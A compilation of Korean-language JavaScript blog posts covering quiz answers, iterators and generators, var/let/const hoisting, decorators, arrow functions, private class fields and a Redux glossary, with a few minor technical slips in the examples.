    const value = object[name]

    // 값이 존재하고, 그값이 object라면 다시 deepFreeze를 수행한다.
    object[name] =
      value && typeof value === 'object' ? deepFreeze(value) : value
  }

  return Object.freeze(object)
}
```

혹은 [deep-freeze](https://github.com/substack/deep-freeze)라이브러리를 써도 된다.

### 4. 프로토타입 상속

```javascript
function Dog(name) {
  this.name = name
  this.speak = function () {
    return 'woof'
  }
}

const dog = new Dog('Pogo')

Dog.prototype.speak = function () {
  return 'arf'
}

console.log(dog.speak())
```

`Dog` 인스턴스가 생성될때마다, `speak` 프로퍼티에는 `woof`를 반환하는 함수가 매번 할당되게 된다. 그 결과, 인터프리터는 이미 `speak`가 프로퍼티에 할당되어 있으므로, `prototype`체인을 보지 않는다. 따라서, prototype으로 할당한 `speak`는 쓰이지 않게 된다.

### 5. Promise.all의 순서

```javascript
const timer = (a) => {
  return new Promise((res) =>
    setTimeout(() => {
      res(a)
    }, Math.random() * 100),
  )
}

const all = Promise.all([timer('first'), timer('second')]).then((data) =>
  console.log(data),
)
```

[Promise.all](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)에 관해 물어보는 문제다. `Promise.all`은 배열 안에 있는 모든 Promise가 실행되거나 어느 하나라도 거부되기를 기다린다. 따라서 배열안에 있는 Promise의 완료 순서와는 상관없이 모두 끝나기를 기다리므로, `all`에서의 `data`의 순서는 보장 될 것이다.

### 6. Reduce 계산

```javascript
const arr = [(x) => x * 1, (x) => x * 2, (x) => x * 3, (x) => x * 4]

console.log(arr.reduce((agg, el) => agg + el(agg), 1))
```

```text
1 + 1 * 1 = 2
2 + 2 * 2 = 6
6 + 6 * 3 = 24
24 + 24 * 4 = 120
```

### 7. 복수형 (s) 추가하기

```javascript
const notifications = 1

console.log(
  `You have ${notifications} notification${notifications !== 1 && 's'}`,
)
```

`&&`는 false를 리턴할 것이다. 이를 정확히 표현하기 위해서는

```javascript
notification >= 1 ? 's' : ''
```

이 되야 할 것이다.

### 8. 전개 구문과 변수명 변경

```javascript
const arr1 = [{firstName: 'James'}]
const arr2 = [...arr1]
arr2[0].firstName = 'Jonah'

console.log(arr1)
```

전개 구문은 shallow copy를 수행하므로 사실상 `arr2`는 `arr1`을 가리키고 있다. 따라서, arr2를 바꾸는 것은 arr1에도 영향을 미친다.

### 9. 배열 함수에 바인딩

```javascript
const map = ['a', 'b', 'c'].map.bind([1, 2, 3])
map((el) => console.log(el))
```

조금 의외였는데 - 생각해보니 당연한 거였다.

`.map`은 단순히 `Array.prototype.map`을 `this` 값과 함께 호출한 것이다. `bind` `call` `apply`는 함수에서 호출할 `this`를 지정할 수 있으므로, 결과는 1, 2, 3 이 된다.

### 10. Set의 유일성과 순서

```javascript
const arr = [...new Set([3, 1, 2, 3, 4])]
console.log(arr.length, arr[2])
```

Set은 유일성은 보장해주지만, 순서는 보장하지 않는다. 따라서 길이는 4가 될 것이고, 3번째 엘리먼트는, 2가 될 것이다. arr은 `3, 1, 2, 4`

### 정리

- 자바스크립트에서 원시형이 아닌 나머지는 reference 값을 가지고 있는 것일 뿐이므로, 비교를 할 때 주의를 해야 한다.
- 얕은비교, 얕은복사에 대해서 잘 알아두자
- 자바스크립트 내장 함수가 무엇을 리턴하는지 잘 확인해보자.

---

Source: https://yceffort.kr/2020/05/javascript-generator.md
Title: 자바스크립트 제네레이터
Description: ## Generator 제네레이터의 개념에 대해 이해하기 전에, 먼저 반복자 (Iterator)에 대해 알아보자.  ### 0. Iterator  반복자는, 두개의 속성 (`value`와 `done`)을 반환하는 `next()`메소드를 사용하여 [Iterator protocal](https://developer.mozilla.org/en-US/docs/W...
Date: 2020-05-21
Tags: javascript

## Generator

제네레이터의 개념에 대해 이해하기 전에, 먼저 반복자 (Iterator)에 대해 알아보자.

### 0. Iterator

반복자는, 두개의 속성 (`value`와 `done`)을 반환하는 `next()`메소드를 사용하여 [Iterator protocal](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol)을 구현한다. 말이 조금 어려운 것 같으니, 조금 쉽게 설명해보자.

예를 들어 `for ... of` 구문에서 자바스크립트 객체들이 loop되는 것과 같은 iteration 동작을 정의하는 것을 허락하는 것이다. `Array`나 `Map`의 경우에는 default iteration 동작이 담겨져 있다.

더 쉽게 이야기 하자면, object가 [Symbol.iterator](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator) 키 속성을 가지고 있다는 것을 의미한다. 어떤 객체가 `반복가능`하다면 이 메소드 `@@iterator`가 인수없이 호출이 가능하고, 반환된 iterator는 반복을 통해서 획득한 값을 얻을 때 사용할 수 있다.

```javascript
const hello = ['hello', 'hi']
console.log(hello[Symbol.iterator]) //[Function: values], iterable

const hi = 1
console.log(hi[Symbol.iterator]) // undefined, not iterable
```

`iterable` 프로토콜이 만약 `next()` 메소드를 가지고 있고, 다음과 같은 규칙을 따르고 있다면 `iterator`라고 정의 한다.

- `next`: 아래 두개의 속성을 가진 object를 반환하는 인수가 없는 함수:
  - `done`: (boolean) 작업을 마쳤을 경우 `true` 그렇지 않다면 `false`
  - `value`: (any) `iterator`로 부터 반환되는 모든 자바스크립트 값이며, `done`이 `true`이면 생략 가능하다.

아래의 예시를 살펴보자.

```javascript
const hello = 'hello'
const stringIterator = hello[Symbol.iterator]()

console.log(stringIterator.next()) //{ value: 'h', done: false }
console.log(stringIterator.next()) //{ value: 'e', done: false }
console.log(stringIterator.next()) //{ value: 'l', done: false }
console.log(stringIterator.next()) //{ value: 'l', done: false }
console.log(stringIterator.next()) //{ value: 'l', done: false }
console.log(stringIterator.next()) //{ value: undefined, done: true }
```

또 이를 활용해서 원하는 iterator를 정의할 수도 있다.

```javascript
var countDown = new Number(5)

countDown[Symbol.iterator] = function () {
  var _count = 0
  var value = +this
  return {
    next() {
      _count++
      if (_count < value) {
        return {value: _count, done: false}
      } else {
        return {done: true}
      }
    },
  }
}

for (let i of countDown) {
  console.log(i) // 1, 2, 3, 4
}

console.log([...countDown]) // [ 1, 2, 3, 4 ]
```

### 1. Genenrator

`Generator`는, 하나의 값을 리턴하는 일반적인 함수와는 다르게 결과의 순서를 생성해 내는 함수라고 볼 수 있다. 앞서 설명한 `iterator`와 동일하게, `next()`를 호출하면, `{value: any, done: boolean}`을 리턴한다.

```javascript
function* generator() {
  yield 'hello'
  yield 'hi'
}

for (let i of generator()) {
  console.log(i) // hello, hi
}
```

- `yield`: 제네레이터 함수의 실행을 일시적으로 중지 시키며, 뒤에 오는 표현식을 반환한다. 즉 일반적인 함수의 `return`문 역할을 하면 된다고 본다.

- `return`: 수행하고 있는 iterator를 종료시키며, `return`뒤의 표현식은 `{value: return, done: true}` 형태로 반환된다.

`Generator`의 형태가 `Iterator`와 비슷한 걸로 보았을때, `Generator`도 `iterable`하다고 볼 수 있다.

한가지 알아 두어야 할 것은, `next()`와 `yield`가 서로 값을 주고 받을 수 있다는 점이다.

```javascript
function* myGen() {
  const x = yield 1 // x = 10
  const y = yield x + 1 // y = 20
  const z = yield y + 2 // z = 30
  return x + y + z
}

const myItr = myGen()
console.log(myItr.next()) // {value:1, done:false}
console.log(myItr.next(10)) // {value:11, done:false}
console.log(myItr.next(20)) // {value:22, done:false}
console.log(myItr.next(30)) // {value:60, done: true}
```

---

Source: https://yceffort.kr/2020/05/var-let-const-hoisting.md
Title: var let const, 그리고 호이스팅
Description: ## var let const, 그리고 호이스팅 ### var  우리가 모두 아는 `var` 키워드는 아래와 같은 특징을 가지고 있다.  1. 함수레벨 스코프를 가지고 있다.        대부분의 프로그래밍 언어들이 블록 레벨 스코프를 사용하고 있지만, `var`로 선언된 키워드는 함수레벨 스코프를 갖는다.     ```javascript     var ...
Date: 2020-05-20
Tags: javascript

## var let const, 그리고 호이스팅

### var

우리가 모두 아는 `var` 키워드는 아래와 같은 특징을 가지고 있다.

1. 함수레벨 스코프를 가지고 있다.

   대부분의 프로그래밍 언어들이 블록 레벨 스코프를 사용하고 있지만, `var`로 선언된 키워드는 함수레벨 스코프를 갖는다.

   ```javascript
   var name = 'hello'

   function t() {
     var name = 'hi'
     console.log(name) // hi
   }

   t()
   console.log(name) // hello
   ```

2. `var` 키워드는 생략이 가능하다.

   생략이 가능하기 때문에, 함수가 선언한 환경의 `this`에 영향을 받는다. 일반적인 웹 환경에서는 `window`일 것이다.

3. 중복 선언이 가능하다.

   ```javascript
   var name = 'hello'
   var name = 'hi'
   console.log(name) // hi
   ```

4. 호이스팅 당한다.

   호이스팅이란

   > 스코프 안에 있는 선언들을 모두 스코프의 최상위로 끌어올리는 것

   이다. 자바스크립트 인터프리터가 코드를 해석할 때 함수의 선언, 할당, 실행을 모두 나눠서 처리하기 때문이다. 예를 들어보자.

   ```javascript
   console.log(name) // undefined
   var name = 'hello'
   ```

   이 코드는 참조 에러가 나지 않고, `undefined`를 리턴한다. 그 이유는 자바스크립트가 호이스팅을 하면서 아래와 같은 방식으로 코드를 해석하기 때문이다.

   ```javascript
   var name // undefined
   console.log(name)
   name = 'hello'
   ```

### 2. let

`let`은 es6에서 가장 잘 알려진 기능 중 하나다. `var`랑 비슷한 것 같지만, 사실 몇가지 다른 점이 있다.

1. 블록 수준 스코프를 가지고 있다.

   아래의 예를 살펴보자.

   ```javascript
   {
     {
       {
         var name = 'hello'
       }
     }
   }
   console.log(name) // hello

   {
     {
       {
         let name2 = 'hi'
       }
     }
   }
   console.log(name2) // ReferenceError: name2 is not defined
   ```

   `let`과 `const`는 모두 블록 수준의 스코프를 사용 하고 있다. 따라서 블록 내부에서 선언한 변수는 모두 지역변수로 취급된다. 때문에 블록 내부에서 선언한 변수들을 참고할 수가 없다.

2. 키워드 생략이 불가능하다.

   키워드를 생략하면 `var`처럼 작동하게 된다.

3. 중복선언이 불가능하다.

   그렇다.

4. 호이스팅 당한다.

   가끔 인터넷을 뒤지다보면, `let`과 `const`는 호이스팅 당하지 않는다는 이야기가 있는데, 이는 잘못된 사실이다. 두 키워드 모두 호이스팅 당하기는 마찬가지이다.

   이것을 이해하기 위해서는, `Temporary Dead Zone`에 대해 알아야 한다.

### Temporary Dead Zone

아래 코드를 살펴보자.

```javascript
name = 'hello' // ReferenceError: Cannot access 'name' before initialization
let name = 'hi'
```

자. 만약 `name`이 호이스팅 되지 않았다면, 두 번째 `let`선언에서 already declared에러가 났었어야 했다. 근데 현실은 초기화 하기전에 엑세스 할 수 없다는 에러를 내뱉었다.

아래 코드는 어떨까?

```javascript
function sayHello() {
  return name
}
let name = 'hi'
console.log(sayHello()) // hi
```

별탈없이 hi를 내뱉은 것을 볼 수 있다. 그 말인 즉, name이 분명 호이스팅 되었다는 뜻이다.

다른 이야기로 넘어가서, 자바스크립트에서는 총 3단계에 걸쳐서 변수를 생성한다.

1. 선언(Declaration): 스코프와 변수 객체가 생성되고, 스코프가 변수 객체를 참조한다.
2. 초기화(Initialization): 변수 객체 값을 위한 공간을 메모리에 할당한다. 이 때 할당되는 값은 `undefined`다.
3. 할당(Assignment): 변수 객체에 값을 할당한다.

`var`는 선언과 동시에 초기화가 이루어진다. 즉, 선언과 동시에 undefined가 할당된다.

그러나 `let`과 `const`는 다르다. 선언만 될뿐, 초기화가 이루어지지 않는다. 바로 이단계에서 TDZ에 들어가게 되는 것이다. 즉, 선언은 되어있지만, 초기화가 되지 않아 이를 위한 자리가 메모리에 준비되어 있지 않은 상태라는 것이다.

### const

`const`에서 구별되는 특징만 몇가지 살펴보자.

1. `const`는 초기화와 동시에 선언이 이루어져야 한다.

   ```javascript
   let hello
   hello = 'hello'

   const hi //SyntaxError: Missing initializer in const declaration
   hi = 'hi'
   ```

2. `const` 자체가 값을 불변으로 만드는 것이 아니다.

   아래 코드는 당연히 안된다.

   ```javascript
   const hello = 'hello'
   hello = 'hi' // TypeError: Assignment to constant variable.
   ```

   그렇다고 이것도 안되는 것은 아니다.

   ```javascript
   const hello = ['hi']
   hello.push('hello')
   ```

   ```javascript
   const hello = 'hello'
   var hi = hello
   hi = 'hi'
   console.log(hello) // hello
   console.log(hi) // hi
   ```

   객체 자체를 동결시키기 위해서는 [Object.freeze](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)를 사용하면 된다.

3. 상수를 선언할 때 사용한다.

### 결론

- 호이스팅은 변수의 선언을 최상단에 끌어올린다는 뜻이다.
- `var` `let` `const`는 모두 호이스팅 된다.
- `let` 선언과 동시에 `TDZ`에 들어가서 초기화가 필요한 별도의 상태로 관리된다.
- `const` 는 선언과 동시에 초기화, 할당까지 이루어진다.
- `var`는 왠만하면 쓰지말자
- `let`대신 `const`를 사용하자. `let`으로 선언되어 있다면, 어디선가 이 변수가 바뀔지도 모른다는 생각을 가지고 있어야 하므로, 코드를 읽기가 어려워진다. 반면 `const`는 초기화, 선언, 할당까지 되어 있으니 변경되지 않을 것이다라는 확신으로 코드를 볼 수 있다. (물론 객체의 속성은 바뀔 수 있음.)

---

Source: https://yceffort.kr/2020/05/javascript-decorator.md
Title: 자바스크립트 데코레이터
Description: ## 데코레이터 ### 0. 설명자  데코레이터에 대해 시작하기 전에, 설명자(Descriptor)에 대해 알아보자.  설명자란, 객체의 프로퍼티가 쓰기가 가능한지, 그리고 열거가 가능한지 여부를 나타낸다. 그리고 설명자를 구현하기 위해서는, [Object.getOwnPropertyDescriptor(obj, propName)](https://develo...
Date: 2020-05-20
Tags: typescript, javascript

## 데코레이터

### 0. 설명자

데코레이터에 대해 시작하기 전에, 설명자(Descriptor)에 대해 알아보자.

설명자란, 객체의 프로퍼티가 쓰기가 가능한지, 그리고 열거가 가능한지 여부를 나타낸다. 그리고 설명자를 구현하기 위해서는, [Object.getOwnPropertyDescriptor(obj, propName)](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor) 를 사용해야 한다. 아래의 예를 살펴보자.

```javascript
const hello = {
  get hi() {
    return 'hello'
  },
  number: 42,
}

console.log(Object.getOwnPropertyDescriptor(hello, 'hi'))
console.log(Object.getOwnPropertyDescriptor(hello, 'number'))

Object.defineProperties(hello, {
  hell: {
    value: 1,
    enumerable: false,
    configurable: false,
    writable: false,
  },
})
console.log(Object.getOwnPropertyDescriptor(hello, 'hell'))
```

```json
{
  get: [Function: get hi],
  set: undefined,
  enumerable: true,
  configurable: true
},
{ value: 42, writable: true, enumerable: true, configurable: true },
{ value: 1, writable: false, enumerable: false, configurable: false }
```

- `writable`은 객체의 프로퍼티가 쓰기 가능한지의 여부다.

```javascript
hello.number = 41
console.log(hello.number) //41 로 바꼈다.

hello.hell = 10
console.log(hello.hell) // 1이 리턴되며, 바뀌지가 않는다.
```

- `enumberable`은 객체의 프로퍼티가 열거 가능한지의 여부이며, false라면 `Object.keys`, `Object.values`, `Object.entries`등에서도 해당 프로퍼티를 볼 수 없다.

```javascript
console.log(Object.keys(hello)) // [ 'hi', 'number' ] 가 뜨며, hell은 안보인다 ㅠㅠ
```

- `configurable`은 해당 프로퍼티가 `defineProperty`를 통해 설정될 수 있는지 여부이며, false라면 `defineProperty`로 해당 객체를 설정할 수가 없다.

```javascript
// 다시 define 해보자
Object.defineProperties(hello, {
  hell: {
    value: true,
    enumerable: true,
    configurable: true,
    writable: true,
  },
}) // TypeError: Cannot redefine property: hell
```

- 위에서 본 것처럼 `getter`와 `setter`도 있는데, 이는 주로 동적으로 계산한 값을 반환하는 프로퍼티에 접근하거나, 메소드 호출을 하지 않고도 내부 변수에 접근해야 하는 경우 등에 사용한다.

### 1. 데코레이터

데코레이터는 클래스의 프로퍼티 / 메소드 / 클래스 자체를 수정하는데 사용되는 자바스크립트 함수다. `@xxx`로 작성 될 수 있으며 수정할 프로퍼티 / 메소드 / 클래스 윗줄에 추가해주면 된다. 이는 적용된 메소드가 호출되거나, 인스턴스가 만들어지는 것과 같은 런타임에 실행된다.

#### 클래스 데코레이터

클래스 위에 선언되어, 클래스 자체를 수정하는 예제.

```typescript
// 클래스의 constructor를 덮어쓴다.
function setName(name: string) {
  return <T extends {new (...args: any[]): {}}>(constructor: T) => {
    return class extends constructor {
      name = name
    }
  }
}

@setName('trump')
class President {
  name: string

  constructor(name: string) {
    this.name = name
  }

  sayHello() {
    console.log(`hello, ${this.name}`)
  }
}

const t = new President('obama')
console.log(t.sayHello()) // hello, trump
```

#### 메소드 데코레이터

아래 예제에서는 메소드에 데코레이터가 쓰였으며, 메소드에 logger를 달거나, readOnly등의 속성으로 `writable`을 손쉽게 막을 수 있다.

```typescript
function readOnly(isReadOnly: boolean) {
  return function (
    target: Person,
    propName: string,
    description: PropertyDescriptor,
  ) {
    description.writable = isReadOnly
  }
}

const logger =
  (message: string) =>
  (target: Person, propName: string, description: PropertyDescriptor) => {
    const value = description.value

    description.value = function (...args: any) {
      console.log('LOG >>>', message)
      return value.apply(this, args)
    }
  }

class Person {
  name: string

  constructor(name: string) {
    this.name = name
  }

  @logger('Say hello name')
  @readOnly(false)
  sayHello() {
    return `hello, ${this.name}`
  }
}

const trump = new Person('trump')

console.log(trump.sayHello())
// LOG >>> Say hello name
/// hello, trump

trump.sayHello = () => 'hi xxx'
// Cannot assign to read only property 'sayHello' of object '#<Person>'
```

#### 접근자 데코레이터 (Access Decortaor)

접근자 데코레이터는, 접근자를 선언하기 바로 직전에 선언된다. 이를 이용해 접근자의 정의를 관찰, 수정, 교체 하는 등에도 사용할 수 있다.

```typescript
function configurable(value: boolean) {
  return function (
    target: any,
    propertyKey: string,
    descriptor: PropertyDescriptor,
  ) {
    descriptor.configurable = value
  }
}

class Person {
  private name: string
  constructor(name: string) {
    this.name = name
  }

  @configurable(false)
  get hi() {
    return this.name
  }
}
```

이 밖에도 프로퍼티 데코레이터, 매개변수 데코레이터 등이 있다. 이 두가지 케이스는, `reflect-metadata`를 사용해야 하고, 아직 공식적으로 ECMA에 채택되지도 않았다.

---

Source: https://yceffort.kr/2020/05/difference-between-function-and-arrow.md
Title: javascript 일반 함수와 화살표 함수의 차이
Description: ES6에서부터 생긴 `arrow function`은 일반적으로 `()=>{}`의 모양을 하고 있으며, 동작도 비슷해보인다. 하지만 이 두 선언방식은 두가지 분명한 차이를 가지고 있다. 하지만 그전에 this를 알아야 한다.
Date: 2020-05-19
Tags: javascript

ES6에서부터 생긴 `arrow function`은 일반적으로 `()=>{}`의 모양을 하고 있으며, 동작도 비슷해보인다. 하지만 이 두 선언방식은 두가지 분명한 차이를 가지고 있다.

하지만 그전에 this를 알아야 한다.

## 0. this

`this` 는 현재 실행 문맥을 뜻한다. 즉, 호출한 것이 누구냐는 것이다.

```javascript
console.log(this === window) // true
```

위 코드에서는 `console.log`를 호출한 것이 window이기 때문에 true를 리턴한다.

```javascript
const hello = {
  hi: function () {
    console.log(this === window)
    console.log(this)
  },
}
hello.hi() // false
```

위 코드에서 `this`는 `hi`다. 즉, `this`는 현재 실행 문맥을 의미한다.

## 1. this와 arguments의 차이

화살표 함수는 `this`와 `arguments`를 바인딩하지 않는다. 그 대신, 일반적인 `this`와 `arguments`와 동일한 범위를 가지고 있다.

```javascript
function createObject() {
  console.log('Inside `createObject`:', this.foo, this)
  return {
    foo: 42,
    bar: function () {
      console.log('Inside `bar`:', this.foo, this)
    },
  }
}

createObject.call({foo: 21}).bar()
```

위 함수의 결과는

```text
Inside `createObject`: 21, {foo: 21}
Inside `bar`: 42, bar: f
```

가 된다. 위 `console.log`에서의 this는 `call`인자로 넘겨준 `{foo:21}`이고, `bar`가 호출되는 시점에서 `this`는 `bar`이다. `bar`시점에서 `this.foo`는, `{foo:42}`가 된다.

그러나 화살표 함수에서는 약간 다르다.

```javascript
function createObject() {
  console.log('Inside `createObject`:', this.foo, this)
  return {
    foo: 42,
    bar: () => console.log('Inside `bar`:', this.foo, this),
  }
}

createObject.call({foo: 21}).bar()
```

결과는

```text
Inside `createObject`: 21, {foo: 21}
Inside `bar`: 21, {foo: 21}
```

즉, 화살표 함수안에서의 `this`는 `createObject`안의 `this`를 따르게 된다. 이는 화살표 함수가 현재 환경의 `this`를 따르게 하고 싶을 때 유용하다는 뜻이다.

## 2. 화살표 함수는 `new`로 호출할수 없다.

es2015에서는 `callable`한 것과 `constructable`한 것과의 차이를 두고 있다. 어떤 함수가 `constructable`하다면, 이는 `new`로 호출되어야 한다. ex) `new User()` 그리고 만약 함수가 `callable`하다면, 이 함수는 `new`없이도 호출이 되어야 한다 .ex) 일반적인 함수 호출

일반적인 함수의 경우 `callable`하며 `constructable`하다. 그러나 화살표 함수는 오로지 `callable`할 뿐이다. 반대로 `class`의 경우에는 오로지 `constructable`할 뿐이다.

## 정리

서로 바꿔서 쓸 수 있는 경우

- `this`, `arguments`를 쓰지 않는 경우
- `bind(this)`를 사용하는 경우

서로 바꿔쓸 수 없는 경우

- `constructable` 함수
- `prototype`에 추가된 함수나 메소드
- `arguments`를 함수의 인자로 사용하는 경우

---

Source: https://yceffort.kr/2020/04/javascript-private.md
Title: 자바스크립트의 private
Description: 이 글은 [은닉을 향한 자바스크립트의 여정](https://meetup.toast.com/posts/228)을 요약한 글입니다. ## History  자바스크립트에서는 객체에 private 한 속성을 만들 수가 없었다. 그래서 보통 자바스크립트 개발자는 private한 것이다 라는 약속으로 `_` prefix를 붙여서 사용하고는 했었다.  ```javas...
Date: 2020-05-08
Tags: javascript

이 글은 [은닉을 향한 자바스크립트의 여정](https://meetup.toast.com/posts/228)을 요약한 글입니다.

## History

자바스크립트에서는 객체에 private 한 속성을 만들 수가 없었다. 그래서 보통 자바스크립트 개발자는 private한 것이다 라는 약속으로 `_` prefix를 붙여서 사용하고는 했었다.

```javascript
function Hello() {
  this.publicProp = 'public'
  this._privateProp = 'private'
}
```

물론 자바스크립트 개발자들은 `_`의 존재로 해당 속성을 건들지 말아야겠다는 것을 암묵적으로 공유했지만, 어디까지나 암묵적인 것일 뿐, 실제로는 밖에서 얼마든지 접근 할 수 있다.

좀 더 이 문제를 자바스크립트스럽게 해결하기 위해서는, 클로저를 활용하면 된다.

```javascript
function Hello() {
  this.publicProp = 'public'
  const privateProp = 'private'

  _doWithPrivateProp = () => {
    // do something
  }
}
```

비록 `this`와 `const`가 짬뽕이 되면서, 가독성이 떨어지긴 하지만, 효과적으로 데이터를 격리 시켰다. 위와 같은 방법을 사용해서 메소드도 숨길 수 있다.

```javascript
function Hello() {
  const publicProp = 'public'
  const privateProp = 'private'

  _doWithPrivateProp = () => {
    // ...
  }

  const publicMethod = () => {
    _doWithPrivateProp()
    // ...
  }

  return {
    publicProp,
    publicMethod,
  }
}
```

`Symbol`을 사용해 볼 수도 있다.

```javascript
const privateMethodName = Symbol()
const privatePropName = Symbol()

class Hello {
  [privatePropName] = 'private'
  publicProp = 'public';

  [privateMethodName]() {
    // ...
  }

  publicMethod() {
    this[privateMethodName](this[privatePropName])
  }
}
```

`Symbol`은 생성될 때 마다 고유의 값을 가지므로, 외부에서는 이를 export하지 않는 이상 접근할 수 없다.

## # 의 등장

해당 제안 내용은 [여기](https://github.com/tc39/proposal-class-fields/)에서 자세히 확인할 수 있다.

```javascript
class Hello {
  #message = 'hello'
}

const hello = new Hell()
hello.#message
```

```text
Uncaught SyntaxError: Private field '#message' must be declared in an enclosing class
```

private 하기 때문에 접근 할 수 없다는 메시지가 뜬다.

여기에서 `#`은 prefix이기 때문에 꼭 접근시에 `#`을 써야 한다.

```javascript
class Hello {
  #message = 'hello'

  getMessage() {
    return this.message // 안됨
  }
}
```

상속을 받는다 하더라도 접근이 되지 않는다.

```javascript
class Hello {
  #message = 'hello'

  getMessage() {
    return this.#message
  }
}

class Hi extends Hello {
  getHiMessage() {
    return this.#message
  }
}

const hi = new Hi()
hi.getHelloMessage() // Uncaught SyntaxError: Private field '#message' must be declared in an enclosing clas
```

추가로 모든 private 필드는 클래스 별로 독립된 고유한 스코프를 갖는다.

```javascript
class Hello {
  #message = 'hello'

  getMessage() {
    return this.#message
  }
}

class Hi extends Hello {
  #message = 'hi'

  getHiMessage() {
    return this.#message
  }
}

const hi = new Hi()
const hello = new Hello()
console.log(hello.getMessage()) // hello
console.log(hi.getHiMessage()) // hi
```

## 타입스크립트에서는?

https://www.typescriptlang.org/docs/handbook/classes.html#ecmascript-private-fields
https://www.typescriptlang.org/docs/handbook/classes.html#understanding-typescripts-private

위에서 언급한 `#` 문법과 더불어 (3.8부터) `private` 키워드 도 지원한다.

https://devblogs.microsoft.com/typescript/announcing-typescript-3-8-beta/#ecmascript-private-fields

여기에 좋은 내용이 정리되어 있다.

- Private 필드는 `#`으로 시작된다.
- 모든 private 필드는 속한 클래스에서 고유한 스코프를 가지고 있다.
- `#`은 타입스크립트의 `public` `private`과 함게 사용할 수 없다.
- Private 필드는 클래스 밖에서 접근하거나 알아챌 수 없다. (JS도 마찬가지)

---

Source: https://yceffort.kr/2020/04/redux-study-3.md
Title: 리덕스 공부해보기 (3) - 용어
Description: https://redux.js.org/glossary#state ## 용어 모음  ### State (상태)  ```typescript type State = any ```  State (State tree라고 도 불리운다)는 Redux API에서는 보통 스토어에서 관리하고, `getState()`에 의해 반환되는 단일 값을 가리킨다.  관례적으로, 가장...
Date: 2020-04-29
Tags: redux, javascript

https://redux.js.org/glossary#state

## 용어 모음

### State (상태)

```typescript
type State = any
```

State (State tree라고 도 불리운다)는 Redux API에서는 보통 스토어에서 관리하고, `getState()`에 의해 반환되는 단일 값을 가리킨다.

관례적으로, 가장 최상단의 상태는 객체 또는 키값 형태의 맵이지만, 기술적으로는 어떤 타입도 될 수 있다. 여전히, 이 상태값을 직렬화 될 수 있게 관리할 수 있도록 최선을 다해야 한다.

### Action (액션)

```typescript
type Action = Object
```

액션은 순수한 오브젝트로, 상태의 변경을 어떤식으로 할지를 나타낸다. 액션은 스토어에 저장되어 있는 데이터를 꺼내오는 유일한 방법이다. 네트워크 콜백이든, UI 이벤트든, 혹은 웹소캣과같은 다른 어떠한 이벤트 소스에서오든 데이터 이든지 간에, 결국 액션을 통해서 dispatch해야 한다.

액션은 반드시 액션이 실행되는 type을 가르키는 type 필드를 가지고 있어야 한다. Types은 상수또는 다른 모듈에서 가져오는 방법으로 정의될 수 있다. Symbol보다는 string을 타입으로 사용하는 것이 좋은데, 그 이유는 직렬화 될 수 있기 때문이다.

타입 이 외에는, 액션 오브젝트의 구조는 개발자의 손에 달려있다. 만약 액션이 어떻게 구조화되는지 관심있다면, [Flux Standard Action](https://github.com/redux-utilities/flux-standard-action)을 참조하길 바란다.

#### 액션은

```typescript
{
  type: 'ADD_TODO',
  payload: new Error(),
  error: true
}
```

반드시 (MUST)

- 순수 자바스크립트 오브젝트여야 한다.
- `type` 속성을 가지고 있어야 한다.

되도록 (MAY)

- `error`속성을 가지고 있으면 좋다
- `payload`속성을 가지고 있으면 좋다
- `meta`속성을 가지고 있으면 좋다

#### type

액션의 타입은 컨슈머에 액션이 일으키는 속성을 가르킨다. 만약 타입이 똑같다면, 이들은 엄격하게 일치해야한다 (===)

#### payload

`payload`는 어떤 타입의 값이든 가질 수 있다. 이는 액션이 가지는 `payload`를 의미한다. `type`또는 `status`를 제외한 액션의 정보는 모두 `payload`에 있어야 한다. 관례적으로, `error`가 `true`라면, `payload`는 에러 객체를 가지고 있어야 한다. 이는 오류의 promise가 오류시 오류 객체를 리턴하는 것과 같다.

#### error

옵셔널 속성인 `error`는 만약 액션에 에러가 있을 경우 `true`로 세팅된다. error가 true인 액션은 리젝트된 promise와 유사하다. 관례상 payload는 오류 객체가 되어야 한다.

만약 `error`에 `null`을 포함하여 `true`외 에 다른 값이 있는 경우, 해당 액션을 오류로 보지 않는다.

#### meta

옵셔널 속성인 `meta`는 어떤 타입의 값이든 될 수 있다. 여기에는 `payload`의 일부가 될 수 없는 추가적인 정보를 담기위해 설정되어있다.

### Reducer

```typescript
type Reducer<S, A> = (state: S, action: A) => S
```

리듀서는 (리듀싱 함수라고도 불리운다) 파라미터(`accumulation`)를 받아서 새로운 파라미터를 반환하는 함수다. 이는 value의 모음을 하나의 value로 축약하는데 사용된다.

리듀서는 리덕스만의 독특한 것이 아니다. 이는 함수형 프로그래밍의 기초적인 컨셉이다. 심지어 자바스크립트와 같은 비 함수적인 언어에서도 리듀싱을 위한 api가 존재한다. [Array.prototype.reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)

리덕스에서 누적되는 값 (리듀싱 되는 값)은 상태 오브젝트이며, 여기의 값들은 action에 의해 누적된다. 리듀서는 이전의 상태와 액션을 기반으로 새로운 상태를 만들어 낸다. 이들은 모두 순수함수여야만 한다. 함수들은 주어진 입력값으로 정확히 같은 결과값을 내야 한다. 또한 사이드 이펙트에서 자유로워야 한다. 이러한 전제는 핫 리로딩이나 타임 트래블 (과거의 값을 가져오는)을 가능하게 해준다.

### Dispatching function

```typescript
type BaseDispatch = (a: Action) => Action
type Dispatch = (a: Action | AsyncAction) => any
```

dispatching function (간단히 dispatch function)는 함수가 액션 또는 비동기 액션을 받아드리는 것을 의미한다.

여기에서 일반적인 function dispatching과 어떠한 미들웨어를 거치지 않은 스토어에 제공하는 dispatch function 을 구별해야 한다.

`Base Dispatch function`은 스토어의 리듀서에 동기 액션을 제공해야 하는데, 여기에는 이전의 상태값을 통해서 계산된 새로운 상태값이 포함되어야 한다.

미들웨어는 `dispatch function`을 래핑한다. 이는 `dispatch function`이 비동기 액션을 다룰 수 있도록 한다. 미들웨어는 transform, delay, ignore 등 action을 interpret하는 어떤 것이 될수도 있다. 또한 다음 미들웨어에 넘기기전 비동기 액션이 될 수도 있다. 자세한 것은 하단의 내용을 참고하길 바란다.

### Action Creator

```typescript
type ActionCreator = (...args: any) => Action | AsyncAction
```

